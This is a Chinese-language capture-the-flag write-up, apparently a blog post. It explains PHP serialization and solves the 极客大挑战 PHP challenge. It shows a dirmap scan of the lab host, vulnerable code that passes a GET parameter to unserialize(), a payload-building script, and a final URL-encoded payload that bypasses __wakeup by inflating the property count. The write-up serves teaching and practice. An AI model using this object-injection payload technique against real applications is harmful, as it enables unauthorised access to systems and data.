序列化与反序列化–serialize()+unserialize()
序列化:将复杂数据类型压缩到字符串中,数据类型包括字符串,数组,对象等,且在序列化对象的时候,只序列化变量,不会序列化对象的方法,所以序列化定义对象的类型在序列化之前定义。
private,public,protected对象在序列化的时候不相同
<?php
class Name{
private $username1='admin';
public $username2='admin';
protected $username3='admin';
}
$a=new Name();
echo serialize($a);//O:4:"Name":3:{s:15:"Nameusername1";s:5:"admin";s:9:"username2";s:5:"admin";s:12:"*username3";s:5:"admin";}
**变量的值相同,但是序列化输出的值不一样**
echo "\n\n";
echo urlencode(serialize($a));//序列化private,protected变量之后会有\00产生,防止在赋值时该不可打印字符丢失
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A15%3A%22%00Name%00username1%22%3Bs%3A5%3A%22admin%22%3Bs%3A9%3A%22username2%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%00%2A%00username3%22%3Bs%3A5%3A%22admin%22%3B%7D
?>
反序列化
将字符串还原为原来的变量,如果所反序列化的对象中有__wakeup()函数会优先调用,然而该函数存在漏洞,当反序列化的属性个数大于实际属性个数时会跳过该函数执行。
极客大挑战-PHP
提示有备份文件,使用dirmap进行扫描
py -3 dirmap.py -i http://93bff45d-6f55-4b38-a70b-a1294a1aea74.node3.buuoj.cn/ -lcf
发现存在备份文件www.zip
下载下来,
依次打开检查,发现class.php和flag.php有点东西
/// index.php里面的一段代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
///class.php代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
解释一下上面两处代码:
index.php先是将class.php包含进来,然后再将$_GET['select']传过来的字符串反序列化,而class.php里面有三个函数__wakeup(),__construct()-->相当于构造函数,__destruct()-->相当于析构函数,再对象销毁时自动调用,而该函数如果能满住一定条件会将$flag打印出来,但是__wakeup()如果不绕过那么一定无法满足$username='admin'的条件,上述内容已经讲述了如何绕过__wakeup()函数。
贴一个构造payload的php脚本
<?php
class Name{
private $username='admin';
private $password='100';
}
$a=new Name();
echo serialize($a);
echo "\n\n";
echo urlencode(serialize($a));//当然是选这个放在url栏
1 //O:4:"Name":2{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
2
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>
最后再将结果2的属性值改为大于2的数就是最终payload了,
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D